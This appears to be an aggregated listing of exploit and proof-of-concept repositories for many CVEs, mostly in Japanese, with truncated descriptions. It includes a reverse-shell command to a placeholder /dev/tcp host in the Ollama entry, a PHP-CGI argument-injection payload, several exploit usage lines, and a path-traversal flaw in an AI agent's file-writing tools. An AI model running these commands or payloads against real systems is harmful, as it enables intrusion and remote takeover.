cve-2023-30253

CVE-2023-30253 説明 Dolibarr 17.0.1未満では、認証済みユーザーが大文字操作（?phpの代わりに?PHP）を介してリモートコード実行を許可します。 ドキュメント CVE-2023-30253 GitHub Advisory: GHSA-9wqr-5jp4-mjmh セットアップ root@kitploit: git clone https://github.com/Rubikcuv5/cve-2023-30253.git pip3 install -r requirements.txt python3 CVE-2023-30253.py -h 使用方法...

PHP-FPM-Remote-Code-Execution-Vulnerability-CVE-2019-11043-

CVE-2019-11043 1.脆弱性の説明 Nginx上でfastcgi split path infoが%0aを含むリクエストを処理する際、改行文字\nによりPATH INFOが空になります。php-fpmはPATH INFOが空の場合、論理的な欠陥が存在します。攻撃者は巧妙に構築して利用することで、リモートコード実行を引き起こす可能性があります。 影響範囲 Nginx + php-fpm のサーバーで、以下の設定を使用している場合、リモートコード実行の脆弱性が存在する可能性があります。 location ^ /小.php/|$ fastcgi split path info ^....

CVE-2025-67888

CVE-2025-67888 Control Web Panel = 0.9.8.1208 admin/index.php OSコマンドインジェクションの脆弱性 影響を受けるバージョン: バージョン 0.9.8.1208 およびそれ以前のバージョン。 脆弱性の説明: "key" GETパラメータを介して /admin/index.php に渡されるユーザー入力は（"api"...

git-lfs-RCE-exploit-CVE-2020-27955-Go

Git-lfs Remote Code Execution RCE exploit CVE-2020-27955 Go 版 脆弱性あり: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken など 発見者: Dawid Golunski https://legalhackers.com https://exploitbox.io Windows 上で以下に対してテスト済み: git, GitHub CLI gh, GitHub Desktop, Visual Stud...

CVE-2024-28397-command-execution-poc

CVE-2024-28397-command-execution-poc この脆弱性は、js2py のサンドボックス処理が不完全であることに起因します。巧妙に細工された JavaScript が Python の内部オブジェクトモデルを辿り、subprocess.Popen などの危険なクラスへアクセスすることで、任意のコマンド実行が可能になります。 JSON-Parsers & RCE Exploit PoC 概要 このリポジトリには、js2py.disablepyimport を介したサンドボックス回避 を実証する概念実証（PoC）ペイロードが含まれています。これは 0.74 までの...

CVE-2024-53691

CVE-2024-53691 https://www.qnap.com/en/security-advisory/qsa-24-28 https://vulners.com/cve/CVE-2024-53691 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 8.7 「悪用された場合、リンク追跡の脆弱性により、ユーザーアクセスを取得したリモート攻撃者がファイルシステムを辿り、意図しない場所に到達する可能性があります。」 発見日: 2024年4月22日 修正日: 2024年9月7日 影響を受けるバージョン: Q...

2017-11882_Generator

CVE-2017-11882 Microsoft Office ソフトウェアがメモリ内のオブジェクトを適切に処理できない場合に、リモートでコードが実行される脆弱性が存在します。この脆弱性の悪用に成功した攻撃者は、現在のユーザーのコンテキストで任意のコードを実行する可能性があります。 2017-11882Generator これは、Embedi によって作成されたオリジナルの PoC を再編集したもので、リモートコマンド実行が埋め込まれた単一の .rtf ファイルを生成します。 使用方法 python 2017-11882Generator.py -x 実行するコマンド -o 出力ファイル...

CVE-2020-9484

CVE-2020-9484 画像をクリックして動画をご覧ください。 使用方法 実行可能にします root@kitploit: chmod +x CVE-2020-9484 root@kitploit: ./CVE-2020-9484 http://10.10.10.10./8080/ 10.10.1.1 4444...

CVE-2025-0282

CVE-2025-0282 の PoC Ivanti Connect Secure、Ivanti Policy Secure、および Ivanti Neurons for ZTA ゲートウェイに影響を与える、リモート・認証不要のスタックベースのバッファオーバーフロー 概要 これは CVE-2025-0282 の悪用を実証するための概念実証エクスプロイトであり、watchTowr が公開した悪用手法に基づいています。 この PoC は、Ivanti Connect Secure 22.7r2.4 をターゲットとする ROP...

CVE-2023-22518

CVE-2023-22518 エクスプロイト 説明 このリポジトリには、CVE-2023-22518 のエクスプロイトスクリプトが含まれています。このスクリプトは、許可されていないファイルのアップロードを可能にし、リモートコード実行やその他のセキュリティ脆弱性につながる可能性があります。 免責事項 このリポジトリは、教育および情報提供のみを目的としています。このエクスプロイトスクリプトの無断使用は固く禁じられています。責任を持ち、倫理的なハッキングの原則を尊重してください。 脆弱性の詳細 CVE ID: CVE-2023-22518 脆弱性タイプ: 許可されていないファイルアップロード...

Python-exploit-CVE-2020-25213

説明 WordPress用プラグイン「File Manager wp-file-manager」のバージョン6.9未満では、安全でないサンプルelFinderコネクタファイルを.php拡張子にリネームするため、リモート攻撃者が任意のPHPコードをアップロードして実行できます。これにより、攻撃者はelFinderのupload（またはmkfileとput）コマンドを実行して、wp-content/plugins/wp-file-manager/lib/files/ディレクトリにPHPコードを書き込むことが可能です。この脆弱性は2020年8月から9月にかけて実際に悪用されました。 デモ...

CVE-2024-4577-nuclei

CVE-2024-4577-nuclei ペイロード: root@kitploit: ?%ADd+allowurlinclude%3d1+%ADd+autoprependfile%3dphp://input root@kitploit: テストURL: root@kitploit: /unfxu9a.phppayload /php-cgi/unfxu9a.phppayload /cgi-bin/php-cgi.exepayload /php-cgi/php-cgi.exepayload /php-cgi/php.exepayload /cgi-bin/php.exepayload 参照:...

CVE-2026-82217

In Eclipse Theia versions 1.73.0 up to but not including 1.75.0, the AI "Agent Mode" file-change tools writeFileContent, suggestFileContent, and the replacement and state helpers resolved a model-supplied file path without a workspace-containment check. A crafted relative path such as ../.bashrc,...

CVE-2024-37032_CVE-2024-45436

CVE-2024-37032 & CVE-2024-45436 Ollama 远程代码执行 CVE-2024-37032 CVE-2024-45436 需要在Linux下运行，环境需要安装gcc 安装golang，执行以下命令反弹shell root@kitploit: go run main.go -target http://127.0.0.1:11434/ -exec "bash -i & /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0&1" 注意：利用可能需要几分钟，请耐心等待...

CVE-2021-21425

CVE-2021-21425 GravCMS 未認証の任意 YAML 書き込み/更新によるコード実行 CVE-2021-21425 参照 : https://pentest.blog/unexpected-journey-7-gravcms-unauthenticated-arbitrary-yaml-write-update-leads-to-code-execution/...

CVE-2026-80706

A flaw was found in the softing module of the Linux kernel. This vulnerability exists within the fwparse function, which handles firmware records. It fails to properly validate the size of these records against the firmware data, leading to situations where the system can read or write data beyon...

CVE-2026-80681

A flaw was found in the Linux kernel's vxlan component. A use-after-free vulnerability exists due to improper handling of the Ethernet header pointer after routeshortcircuit is called. When pskbmaypull reallocates the skb-head, the previously cached Ethernet header pointer becomes stale, leading ...

CVE-2022-22916

CVE-2022-22916 CVE-2022-22916, O2OA RCE リモートコマンド実行 O2OA RCE リモートコマンド実行（CVE-2022-22916） O2OAは、J2EE分散アーキテクチャに基づき、モバイルオフィス、スマートオフィスを統合し、プライベートデプロイをサポートし、負荷に適応するように自己調整可能な、AGPLプロトコルに基づくオープンソースコードのエンタープライズ情報システム要求カスタマイズ開発プラットフォームソリューションです。これは企業のソフトウェア開発コストを大幅に節約できます。/xprogramcenter/jaxrs/invoke...

CVE-2025-31324_PoC

CVE-2025-31324PoC CVE-2025-31324 の概念実証: SAP NetWeaver Visual Composer Metadata Uploader における未認証アップロード このスクリプトは以下を実行します: 1. 脆弱なエンドポイントへのファイルアップロード Upload ホスト/ポート経由 2. HTTP GET によるオプションのトリガー実行 Trigger ホスト/ポート経由 3. 基本的なレスポンス検証/ロギング 使用例: python3 PoC.py --host sap.example.com --port 50000 --endpoint...

Exploit-For-CVE-2022-36067

Exploit-For-CVE-2022-36067 このリポジトリには、CVE-2022-36067 用のペイロードが含まれています。 エクスプロイト方法は？ payload.js に記載されているペイロードを、実行したいコマンドと一緒に貼り付けてください。 ローカルマシンでのテスト ローカルマシンでテストするには、リポジトリを git clone し、依存関係をインストールして、node で app.js を実行してください。 アプリケーションに脆弱性がある場合、コードは正常に実行されます。脆弱性がない場合は、次のようなエラーがスローされます： TypeError: Cannot...